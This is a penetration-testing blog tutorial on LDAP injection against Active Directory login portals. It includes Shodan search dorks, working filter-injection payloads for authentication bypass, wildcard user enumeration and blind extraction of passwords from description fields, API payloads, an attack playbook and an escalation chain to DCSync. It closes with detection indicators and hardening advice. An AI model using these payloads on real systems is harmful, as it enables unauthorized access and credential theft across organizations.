web hacking

LDAP Injection: Bypassing Active Directory Authentication and User Enumeration

LDAP Injection: Bypassing Active Directory Authentication and User Enumeration

Learn how to exploit an LDAP injection in enterprise portals: bypass Active Directory authentication, enumerate users, and extract sensitive attributes from the corporate directory.

  • Posted on 2026-03-16
  • Reading time: 5 min

Every large company uses LDAP. Literally every large company. Active Directory, OpenLDAP, FreeIPA—the LDAP protocol is the heart of authentication and user management in enterprise environments. When an employee enters their username and password into the company portal—webmail, VPN portal, intranet, helpdesk, CRM—the application often verifies the credentials with an LDAP query to the domain controller. If that query is constructed by concatenating user input without sanitization, an attacker can manipulate the LDAP filter logic just like a SQL query is manipulated in SQL injection.

The key difference is the target: with SQLi, you attack a database; with LDAP Injection, you attack Active Directory —the system that controls all users, groups, and policies across an entire organization. Bypassing LDAP authentication doesn't give you access to a table; it gives you access to the corporate directory.

I found it in 8% of pentests on portals with AD/LDAP authentication —a percentage that seems low, but the target is still high-value. Each LDAP injection found had a significant impact.

Operational Satellite of the Pillar Injection Attacks guide . See also the LDAP Port 389 guide for direct exploitation of the service.

What is LDAP Injection? #

LDAP Injection is a vulnerability where user input is inserted into a LDAP filter without sanitization, allowing the attacker to modify the query logic. LDAP filters use a specific syntax with parentheses and operators (&, |, !, *) and injecting these characters alters the meaning of the query — typically to bypass authentication, enumerate users, or extract attributes from the directory.

Is LDAP injection dangerous? Yes—it bypasses authentication (passwordless login), completely enumerates Active Directory users (names, emails, groups, descriptions), and extracts sensitive attributes (phone number, address, password in the description field). Access to the corporate directory is affected. Found in 8% of pentests on portals with LDAP authentication.

How to Check if You're Vulnerable #

bash
# Shodan — portali con errori LDAP esposti
"LDAP error" port:80,443
"ldap_bind" "error" port:80,443
"Invalid DN syntax" port:80,443

# Test manuale rapido
username: *
# Se il login risponde diversamente (errore diverso, o "multiple users found") → wildcard funziona → possibile LDAP Injection

Anatomy of an LDAP Filter #

Before attacking, it's important to understand the structure. LDAP uses filters with prefix (Polish) notation:

text
# Filtro di autenticazione tipico:
(&(uid=USERNAME)(userPassword=PASSWORD))

# Significato: AND(uid=USERNAME, password=PASSWORD)
# L'utente viene autenticato se ENTRAMBE le condizioni sono vere

LDAP operators:

  • & → AND (all conditions must be true)
  • | → OR (at least one true condition)
  • ! → NOT (negation)
  • * → Wildcard (any value)
  • () → Grouping

Each condition is enclosed in parentheses: (uid=admin)Operators precede the conditions: (&(cond1)(cond2)).

Authentication Bypass #

Case 1: AND filter with two conditions #

python
# Codice vulnerabile
ldap_filter = f"(&(uid={username})(userPassword={password}))"

Bypass with premature closure:

text
Username: admin)(&)
Password: qualsiasi

# Il filtro diventa: (&(uid=admin)(&))(userPassword=qualsiasi))
# (&) = TRUE sempre → autenticazione bypassata per "admin"

Bypass with OR injection:

text
Username: admin)(|(uid=*
Password: qualsiasi

# Il filtro diventa: (&(uid=admin)(|(uid=*)(userPassword=qualsiasi)))
# (uid=*) = TRUE per tutti → OR è TRUE → autenticazione bypassata

Case 2: Wildcard filter #

text
Username: *
Password: *

# Filtro: (&(uid=*)(userPassword=*))
# Match su TUTTI gli utenti con qualsiasi password → login come il primo utente (spesso admin)

Case 3: Ignoring the password field #

text
Username: admin)(%26)
Password: qualsiasi

# %26 = & (URL-encoded)
# Filtro: (&(uid=admin)(&))(userPassword=qualsiasi))
# La seconda condizione è (&) che è sempre TRUE

User Enumeration #

If the portal shows different messages for “user not found” vs. “incorrect password,” I can enumerate the users:

text
Username: a*        → "password errata" = esistono utenti che iniziano per 'a'
Username: ad*       → "password errata" = esistono utenti che iniziano per 'ad'
Username: adm*      → "password errata" = esiste 'admin' o simili
Username: admin     → "password errata" = 'admin' esiste!

Username: b*        → "utente non trovato" = nessun utente inizia per 'b'

Character by character, exactly like in Blind SQLi.

Blind LDAP Injection #

If the answer doesn't reveal direct information, I use behavioral differences:

text
# TRUE condition — pagina A
admin)(&(uid=admin)     → login page con messaggio "password errata"

# FALSE condition — pagina B
admin)(&(uid=inesistente) → login page con messaggio "utente non trovato"

# Extraction — il primo carattere della description è 'P'?
admin)(description=P*    → se "password errata" → il campo description di admin inizia per 'P'

This allows you to extract any LDAP attribute of the user: description, telephoneNumber, memberOf, mail, title.

Sensitive Attribute Extraction #

In Active Directory, the field description Usernames are where I most often find plaintext passwords. It's a horrible but incredibly common best practice: "Temporary password for user, will change on first login" (and they never do).

text
# Estrai description character by character
admin)(description=a*     → FALSE
admin)(description=P*     → TRUE → primo char = 'P'
admin)(description=Pa*    → TRUE → secondo char = 'a'
admin)(description=Pas*   → TRUE
admin)(description=Pass*  → TRUE
...
admin)(description=Password123!* → TRUE → description = "Password123!"

🏢 Enterprise Escalation #

text
LDAP Injection su portale VPN → bypass auth come admin
→ enumera tutti gli utenti AD via wildcard
→ estrai description di ogni utente → password in chiaro
→ password spray con le password trovate → accesso a più account
→ account con privilegi Domain Admin → DCSync → game over

Real time: 1-3 hours.

🔌 API Variant / Microservices 2026 #

json
// API di autenticazione con LDAP backend
POST /api/v2/auth/login
{"username": "admin)(&)", "password": "anything"}

// API di ricerca utenti
POST /api/v2/users/search
{"query": "*)(memberOf=CN=Domain Admins,CN=Users,DC=company,DC=local"}
// → lista tutti i Domain Admin

// API di directory lookup
GET /api/v2/directory/lookup?name=*)(telephoneNumber=*
// → enumera tutti gli utenti con numero di telefono

Real Micro Playbook #

Minute 0-3 → Head * as username. If the behavior changes → LDAP Injection. Minute 3-10 → Bypass authentication: admin)(&), admin)(|(uid=* Minute 10-30 → Wildcard user enumeration: a*, b*, ... z* Minute 30-60 → Extraction description of key users Minute 60+ → Password spray with found passwords

Concrete Case Study #

Industry: Law firm, 300 employees, custom OWA-like webmail portal. Scope: Black-box.

Login form with username/password. * as username → “multiple users found” (error other than the usual “invalid credentials”). LDAP injection confirmed. admin)(&) as username → access to the admin account's webmail.

From the webmail admin, access the address book with 300 users. Systematic enumeration with wildcard injection → complete list of all users with email address and role. Blind LDAP field extraction. description of the 15 users with the “IT” role → 3 had passwords in the description field: svc_backup: BackupAdmin2023!, svc_print: PrintServ!ce, admin.it: P@ssw0rd!Q4.

svc_backup was Domain Admin (he needed those privileges for Active Directory backups). RDP login with those credentials → DCSync → all domain hashes.

Time from LDAP injection to Domain Admin: 2 hours. The description field contained passwords for 20% of service accounts.

Real Common Mistakes #

1. Chained LDAP filters (the universal pattern) f"(&(uid={input})(password={input}))" — same cause as SQLi: string concatenation.

2. Wildcard allowed * as input is not filtered → full enumeration.

3. Different error messages for non-existent user vs. incorrect password → enumeration.

4. Passwords in the AD description field — found in 20% of service accounts.

5. Anonymous bind allowed — the LDAP server allows queries without authentication.

Indicators of Compromise (IoC) #

  • LDAP query with *, )(, |, ! in the directory server logs
  • Abnormal number of LDAP binds from the same IP in a short time
  • LDAP queries with complex filters not generated by the application
  • Sequential login with username a*, b*, ... z* (enumeration)
  • Bind successful with malformed filters

Mini Chain Royal Offensive #

text
LDAP Injection (*) → Auth Bypass → User Enumeration → Description Extraction → Password svc_backup → Domain Admin → DCSync

Detection & Hardening #

  • Escape LDAP special characters: *, (, ), \, NUL, /
  • Use parameterized LDAP functions of the library (ldap3 in Python, Spring LDAP in Java)
  • Input whitelist — username: alphanumeric only and ._-
  • Same message for non-existent user and incorrect password
  • Do not use the description field for passwords — never, for any reason
  • Disable anonymous binding on the Domain Controller

Satellite of the Complete Guide to Injection Attacks . See also: LDAP Port 389 , XPath Injection.

Do your corporate portals authenticate via LDAP? Penetration test HackIta . To master LDAP injection: 1:1 training.

#ldap #ad

leave a message

I'm not a robot